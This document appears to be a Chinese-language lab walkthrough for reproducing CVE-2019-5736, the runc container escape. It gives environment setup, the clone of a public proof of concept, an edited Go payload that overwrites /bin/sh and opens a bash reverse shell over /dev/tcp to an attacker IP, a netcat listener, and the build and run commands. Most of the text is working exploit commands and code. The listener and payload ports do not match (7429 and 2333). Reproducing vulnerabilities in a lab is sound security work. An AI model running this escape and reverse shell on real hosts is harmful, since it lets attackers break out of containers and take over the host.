NOTE

漏洞分析

网上有很多相关内容,不再赘述.

环境准备

  • Ubuntu 18.04
  • metarget
  • 另一台机器

环境搭建

1
2
3
sudo ./metarget cnv install cve-2019-5736
sudo apt install golang-go
go version

准备poc

1
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

监听机器用ifconfig查看IP地址,并用netcat监听反弹shell

1
nc -lvnp 7429

编辑main.go,payload中填入监听机器的IP和端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//...

func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}

func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/<attacker's ip>/2333 0>&1"
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
//...
}

编译poc

1
sudo CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

由于需要手动改源码,需要在poc编译完成后手动编译Dockerfile

1
sudo docker build -t 5736 .

Exploit

运行exp

1
2
sudo  docker run -it --rm --name 2019-5736 5736 /bin/bash
./main

在host的另一个tab上:

1
sudo docker exec -it 2019-5736 /bin/sh

如果逃逸成功,会看到下面的信息:

1
No help topic for '/bin/sh'

监听机器即可收到反弹shell

Tips

  • 反复复现可能会导致包破损。用sudo dpkg --configure -a修复

Shell

1
2
sudo  docker run -it --rm --name 2019-5736 5736 /bin/bash
./main

Listening

1
nc -lvnp 7429

Another tab

1
sudo docker exec -it 2019-5736 /bin/sh